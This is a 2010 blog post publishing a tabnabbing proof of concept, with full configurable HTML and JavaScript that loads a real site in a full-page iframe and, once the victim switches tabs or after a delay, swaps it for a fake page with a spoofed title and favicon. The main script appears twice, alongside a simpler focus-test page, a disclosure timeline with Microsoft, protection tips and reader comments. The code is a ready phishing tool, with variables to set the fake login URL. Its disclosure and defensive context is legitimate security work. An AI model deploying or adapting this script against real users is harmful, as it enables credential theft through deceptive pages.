Advanced Tabnabbing

June 21st, 2010 by

Attack Scenario:

  • A Malicious user (Bob) customizes this page by changing variables (see below)
  • Bob sends a link to a copy of this page to an unsuspecting user (Alice).
  • The script will load an iframe containing the “Real” page.
  • The user can use the tab like any other tab.  They can browse to various websites, go back and forward, etc..

If Alice is using IE:

  • After Alice leaves the tab and a given amount of time has passed, the tab will change to the fake site (Fake login,phishing page, etc…).

If Alice is using another browser:

  • It will behave like IE, except that will wait a predetermined amount of time
  • before switching instead of waiting for the tab to change
  • * Bonus: In the tested non-IE browsers, it is possible to change the favicon to
  • make the fake tab appear more realistic.

Notes: What you do with this page is up to you.  I hold absolutely no responsibility in how you use it.  Please include (at least) author credit if you decide to share this, modify it, etc…. If you make any changes, please let me know.  This is only indended to be used as a Proof of Concept, and likely has many possible improvements.  It does not work well on some sites that check for iframes.

How to Protect Yourself:

  • You can use a safe browser that uses anti-javascript plugins (Firefox with noscript)
  • If you are suspicious…check the url in the address bar.
  • If you ever receive a link in an email…type it in the address bar instead of clicking on it
  • If you are a web developer, you may be able to use various techniques to see if the page is being viewed in an iframe (compare top & self values…check X-Frame options)
  • You can use something like Microsoft’s Anti-Phishing “SmartScreen” to help reduce the effects of a successful nab.

Sources: The original idea for this attack type is by Aza Raskin.  Although this code is much different from the original proof of concept, many of his concepts were referenced when creating this page. To write the code that changes the favicon in non-ie browsers, I referenced Mahemoff’s site (Software as She’s Developed) The style to make a full screen iframe was found at dev-explorer Aza’s script can be found at  http://www.azarask.in/projects/bgattack.js Mahemoff’s Dynamic Favicons can be found at http://softwareas.com/dynamic-favicons Dev-Explorer:  http://www.dev-explorer.com/articles/full-page-iframe Timeline:

  • 6/7/10 – Contacted Microsoft to let them know of the issue with IE’s management of onblur/onfocus events within IFRAMES
  • (see http://www.youtube.com/watch?v=TKddaL-GTyk) I gave an original, two week until disclosure time.
  • 6/8/10 – I received a response from Microsoft.
  • 6/14/10 – I sent a reminder email about my disclosure date, and asked if more time may be needed.
  • 6/21/10 – Publish date.

[START CODE]

<!--
Title: Tabnabbing and IFRAMES
Author: kno (Trenton@hackyeah.com)
Website: http://www.hackyeah.com
Version:1.0

Attack Scenario:
 *A Malicious user (Bob) customizes this page by changing variables (see below)
 *Bob sends a link to a copy of this page to an unsuspecting user (Alice).
 *The script will load an iframe containing the "Real" page.
 *The user can use the tab like any other tab.  They can browse to various websites,
 go back and forward, etc..
 *If Alice is using IE:
 *After Alice leaves the tab and a given amount of time has passed, the tab will
 change to the fake site (Fake login,phishing page, etc...).
 *If Alice is using another browser:
 *It will behave like IE, except that will wait a predetermined amount of time
 before switching instead of waiting for the tab to change
 * Bonus: In the tested non-IE browsers, it is possible to change the favicon to
 make the fake tab appear more realistic.

Notes:
 What you do with this page is up to you.  I hold absolutely no responsibility in how you
 use it.  Please include (at least) author credit if you decide to share this, modify it,
 etc.... If you make any changes, please let me know.  This is only indended to be
 used as a Proof of Concept, and likely has many possible improvements.  It does not
 work well on some sites that check for iframes.

How to Protect Yourself:
 *You can use a safe browser that uses anti-javascript plugins (Firefox with noscript)
 *If you are suspicious...check the url in the address bar.
 *If you ever receive a link in an email...type it in the address bar instead of clicking on it
 *If you are a web developer, you may be able to use various techniques to see if the
 page is being viewed in an iframe (compare top & self values...check X-Frame options)
 *You can use something like Microsoft's Anti-Phishing "SmartScreen" to help reduce the
 effects of a successful nab.
Sources:
 The original idea for this attack type is by Aza Raskin.  Although this code is much
 different from the original proof of concept, many of his concepts were referenced
 when creating this page.
 To write the code that changes the favicon in non-ie browsers, I referenced Mahemoff's
 site (Software as She's Developed)
 The style to make a full screen iframe was found at dev-explorer

 Aza's script can be found at  http://www.azarask.in/projects/bgattack.js
 Mahemoff's Dynamic Favicons can be found at http://softwareas.com/dynamic-favicons
 Dev-Explorer:  http://www.dev-explorer.com/articles/full-page-iframe

Timeline:
 6/7/10 - Contacted Microsoft to let them know of the issue with IE's management of onblur/onfocus events within IFRAMES
 (see http://www.youtube.com/watch?v=TKddaL-GTyk) I gave an original, two week until disclosure time.
 6/8/10 - I received a response from Microsoft.
 6/14/10 - I sent a reminder email about my disclosure date.
 6/21/10 - Publish date.

-->
<html>
<head><title></title></head>
<style type="text/css">
html {overflow: auto;}
html, body, div, iframe {margin: 0px; padding: 0px; height: 100%; border: none;}
iframe {display: block; width: 100%; border: none; overflow-y: auto; overflow-x: hidden;}
</style>
<body>

<script type="text/javascript">
//----------Set Script Options--------------
var REAL_PAGE_URL = "http://google.com/"; //This is the "Real" page that is shown when the user first views this page
var REAL_PAGE_TITLE = "Google"; //This sets the title of the "Real Page"
var FAKE_PAGE_URL = "http://www.hackyeah.com"; //Set this to the url of the fake page
var FAKE_PAGE_TITLE = "HackYeah"; //This sets the title of the fake page
var REAL_FAVICON = "http://www.google.com/favicon.ico"; //This sets the favicon.  It will not switch or clear the "Real" favicon in IE.
var FAKE_FAVICON = "http://www.hackyeah.com/favicon.ico"; //Set's the fake favicon.
var TIME_TO_SWITCH_IE = "4000"; //Time before switch in IE (after tab changes).
var TIME_TO_SWITCH_OTHERS = "10000"; //Wait this long before switching (does not account for tab focus) .
//---------------End Options-----------------
var TIMER = null;
var SWITCHED = "false";

//Find Browser Type
var BROWSER_TYPE = "";
if(/MSIE (\d\.\d+);/.test(navigator.userAgent)){
 BROWSER_TYPE = "Internet Explorer";
}
//Set REAL_PAGE_TITLE
document.title=REAL_PAGE_TITLE;

//Set FAVICON
if(REAL_FAVICON){
 var link = document.createElement('link');
 link.type = 'image/x-icon';
 link.rel = 'shortcut icon';
 link.href = REAL_FAVICON;
 document.getElementsByTagName('head')[0].appendChild(link);
}

//Create our iframe (tabnab)
var el_tabnab = document.createElement("iframe");
el_tabnab.id="tabnab";
el_tabnab.name="tabnab";
document.body.appendChild(el_tabnab);
el_tabnab.setAttribute('src', REAL_PAGE_URL);

//Focus on the iframe (just in case the user doesn't click on it)
el_tabnab.focus();

//Wait to nab the tab!
if(BROWSER_TYPE=="Internet Explorer"){ //The tested versions of IE blur the iframe on tab change
 el_tabnab.onblur = function(){
 TIMER = setTimeout(TabNabIt, TIME_TO_SWITCH_IE);
 }
 el_tabnab.onfocus= function(){
 if(TIMER) clearTimeout(TIMER);
 }
} else {
 setTimeout(TabNabIt, TIME_TO_SWITCH_OTHERS);
}

function TabNabIt(){
 if(SWITCHED == "false"){
 //Redirect the iframe to FAKE_PAGE_URL
 el_tabnab.src=FAKE_PAGE_URL;
 //Change title to FAKE_PAGE_TITLE and favicon to FAKE_PAGE_FAVICON
 if(FAKE_PAGE_TITLE) document.title = FAKE_PAGE_TITLE;

 //Change the favicon -- This doesn't seem to work in IE
 if(BROWSER_TYPE != "Internet Explorer"){
 var links = document.getElementsByTagName("head")[0].getElementsByTagName("link");
 for (var i=0; i<links.length; i++) {
 var looplink = links[i];
 if (looplink.type=="image/x-icon" && looplink.rel=="shortcut icon") {
 document.getElementsByTagName("head")[0].removeChild(looplink);
 }
 }
 var link = document.createElement("link");
 link.type = "image/x-icon";
 link.rel = "shortcut icon";
 link.href = FAKE_FAVICON;
 document.getElementsByTagName("head")[0].appendChild(link);
 }
 }
}
</script>

</body>
</html>

[END CODE]

[START CODE]


<!--
Title: Tabnabbing and IFRAMES Focus Test.
Author: kno (Trenton@hackyeah.com)
Website: http://www.hackyeah.com
Version:1.0

This page can be used to see 

Sources:
	The original idea for this attack type is by Aza Raskin.  Although this code is much
	different from the original proof of concept, many of his concepts were referenced
	when creating this page.
	To write the code that changes the favicon in non-ie browsers, I referenced Mahemoff's
	site (Software as She's Developed)
	The style to make a full screen iframe was found at dev-explorer

	Aza's script can be found at  http://www.azarask.in/projects/bgattack.js
	Mahemoff's Dynamic Favicons can be found at http://softwareas.com/dynamic-favicons
	Dev-Explorer:  http://www.dev-explorer.com/articles/full-page-iframe

Timeline:
	6/7/10 - Contacted Microsoft to let them know of the issue with IE's management of onblur/onfocus events within IFRAMES
		(see http://www.youtube.com/watch?v=TKddaL-GTyk) I gave an original, two week until disclosure time.
	6/8/10 - I received a response from Microsoft.
	6/14/10 - I sent a reminder email about my disclosure date, and asked if more time may be needed.
	6/21/10 - Publish date.

Please see Hackyeah.com for more infromation.  A video demo is avaliable at http://www.youtube.com/watch?v=TKddaL-GTyk
An explanation video, is avaliable at http://www.youtube.com/watch?v=wk7UCcPUvAk

-->
<html>
<head><title></title></head>
<style type="text/css">
html {overflow: auto;}
html, body, div, iframe {margin: 0px; padding: 0px; height: 100%; border: none;}
iframe {display: block; width: 100%; border: none; overflow-y: auto; overflow-x: hidden;}
</style>
<body>

<script type="text/javascript">
var TIMER = null;
var SWITCHED = "false";

//Set real page title
document.title="Real Page";

//Create our iframe (tabnab)
var tabnab = document.createElement("iframe");
tabnab.id="tabnab";
tabnab.name="tabnab";
document.body.appendChild(tabnab);
tabnab.setAttribute('src', 'real.html');

//Focus on the iframe (just in case the user doesn't click on it)
tabnab.focus;

//Wait to nab the tab!
tabnab.onblur = function(){
	TIMER = setTimeout(TabNabIt, 3000);
}
tabnab.onfocus= function(){
	if(TIMER) clearTimeout(TIMER);
	tabnab.focus;
}

function TabNabIt(){
	if(SWITCHED == "false"){
		//Redirect the iframe and change our title.
		tabnab.src="fake.html";
		document.title = "Nabbed";
	}
}
</script>

</body>
[codesyntax lang="php"]
<!--
Title: Tabnabbing and IFRAMES
Author: kno (Trenton@hackyeah.com)
Website: http://www.hackyeah.com
Version:1.0

Attack Scenario:
 *A Malicious user (Bob) customizes this page by changing variables (see below)
 *Bob sends a link to a copy of this page to an unsuspecting user (Alice).
 *The script will load an iframe containing the "Real" page.
 *The user can use the tab like any other tab.  They can browse to various websites,
 go back and forward, etc..
 *If Alice is using IE:
 *After Alice leaves the tab and a given amount of time has passed, the tab will
 change to the fake site (Fake login,phishing page, etc...).
 *If Alice is using another browser:
 *It will behave like IE, except that will wait a predetermined amount of time
 before switching instead of waiting for the tab to change
 * Bonus: In the tested non-IE browsers, it is possible to change the favicon to
 make the fake tab appear more realistic.

Notes:
 What you do with this page is up to you.  I hold absolutely no responsibility in how you
 use it.  Please include (at least) author credit if you decide to share this, modify it,
 etc.... If you make any changes, please let me know.  This is only indended to be
 used as a Proof of Concept, and likely has many possible improvements.  It does not
 work well on some sites that check for iframes.

How to Protect Yourself:
 *You can use a safe browser that uses anti-javascript plugins (Firefox with noscript)
 *If you are suspicious...check the url in the address bar.
 *If you ever receive a link in an email...type it in the address bar instead of clicking on it
 *If you are a web developer, you may be able to use various techniques to see if the
 page is being viewed in an iframe (compare top & self values...check X-Frame options)
 *You can use something like Microsoft's Anti-Phishing "SmartScreen" to help reduce the
 effects of a successful nab.
Sources:
 The original idea for this attack type is by Aza Raskin.  Although this code is much
 different from the original proof of concept, many of his concepts were referenced
 when creating this page.
 To write the code that changes the favicon in non-ie browsers, I referenced Mahemoff's
 site (Software as She's Developed)
 The style to make a full screen iframe was found at dev-explorer

 Aza's script can be found at  http://www.azarask.in/projects/bgattack.js
 Mahemoff's Dynamic Favicons can be found at http://softwareas.com/dynamic-favicons
 Dev-Explorer:  http://www.dev-explorer.com/articles/full-page-iframe

Timeline:
 6/7/10 - Contacted Microsoft to let them know of the issue with IE's management of onblur/onfocus events within IFRAMES
 (see http://www.youtube.com/watch?v=TKddaL-GTyk) I gave an original, two week until disclosure time.
 6/8/10 - I received a response from Microsoft.
 6/14/10 - I sent a reminder email about my disclosure date, and asked if more time may be needed.
 6/21/10 - Publish date.

-->

<html>
<head><title></title></head>
<style type="text/css">
html {overflow: auto;}
html, body, div, iframe {margin: 0px; padding: 0px; height: 100%; border: none;}
iframe {display: block; width: 100%; border: none; overflow-y: auto; overflow-x: hidden;}
</style>
<body>

<script type="text/javascript">
//----------Set Script Options--------------
var REAL_PAGE_URL = "http://google.com/"; //This is the "Real" page that is shown when the user first views this page
var REAL_PAGE_TITLE = "Google"; //This sets the title of the "Real Page"
var FAKE_PAGE_URL = "http://www.hackyeah.com"; //Set this to the url of the fake page
var FAKE_PAGE_TITLE = "HackYeah"; //This sets the title of the fake page
var REAL_FAVICON = "http://www.google.com/favicon.ico"; //This sets the favicon.  It will not switch or clear the "Real" favicon in IE.
var FAKE_FAVICON = "http://www.hackyeah.com/favicon.ico"; //Set's the fake favicon.
var TIME_TO_SWITCH_IE = "4000"; //Time before switch in IE (after tab changes).
var TIME_TO_SWITCH_OTHERS = "10000"; //Wait this long before switching (does not account for tab focus) .
//---------------End Options-----------------
var TIMER = null;
var SWITCHED = "false";

//Find Browser Type
var BROWSER_TYPE = "";
if(/MSIE (\d\.\d+);/.test(navigator.userAgent)){
 BROWSER_TYPE = "Internet Explorer";
}
//Set REAL_PAGE_TITLE
document.title=REAL_PAGE_TITLE;

//Set FAVICON
if(REAL_FAVICON){
 var link = document.createElement('link');
 link.type = 'image/x-icon';
 link.rel = 'shortcut icon';
 link.href = REAL_FAVICON;
 document.getElementsByTagName('head')[0].appendChild(link);
}

//Create our iframe (tabnab)
var el_tabnab = document.createElement("iframe");
el_tabnab.id="tabnab";
el_tabnab.name="tabnab";
document.body.appendChild(el_tabnab);
el_tabnab.setAttribute('src', REAL_PAGE_URL);

//Focus on the iframe (just in case the user doesn't click on it)
el_tabnab.focus();

//Wait to nab the tab!
if(BROWSER_TYPE=="Internet Explorer"){ //The tested versions of IE blur the iframe on tab change
 el_tabnab.onblur = function(){
 TIMER = setTimeout(TabNabIt, TIME_TO_SWITCH_IE);
 }
 el_tabnab.onfocus= function(){
 if(TIMER) clearTimeout(TIMER);
 }
} else {
 setTimeout(TabNabIt, TIME_TO_SWITCH_OTHERS);
}

function TabNabIt(){
 if(SWITCHED == "false"){
 //Redirect the iframe to FAKE_PAGE_URL
 el_tabnab.src=FAKE_PAGE_URL;
 //Change title to FAKE_PAGE_TITLE and favicon to FAKE_PAGE_FAVICON
 if(FAKE_PAGE_TITLE) document.title = FAKE_PAGE_TITLE;

 //Change the favicon -- This doesn't seem to work in IE
 if(BROWSER_TYPE != "Internet Explorer"){
 var links = document.getElementsByTagName("head")[0].getElementsByTagName("link");
 for (var i=0; i<links.length; i++) {
 var looplink = links[i];
 if (looplink.type=="image/x-icon" && looplink.rel=="shortcut icon") {
 document.getElementsByTagName("head")[0].removeChild(looplink);
 }
 }
 var link = document.createElement("link");
 link.type = "image/x-icon";
 link.rel = "shortcut icon";
 link.href = FAKE_FAVICON;
 document.getElementsByTagName("head")[0].appendChild(link);
 }
 }
}
</script>

</body>
</html>

[END CODE]

  1. John Freeman says:

    Thanks, Trenton! I’m a FireFox & NoScript user. I did wonder why my bank is suddenly not allowing the opening of its secure site in a tab on FireFox. In fact, I got quite irritated to get a new Window! Now I’m grateful. It’s nice to know they are wide awake.

    I’m going to send this link to a whole bunch of others.

    John

  2. Johhny says:

    Too esay

Leave a Reply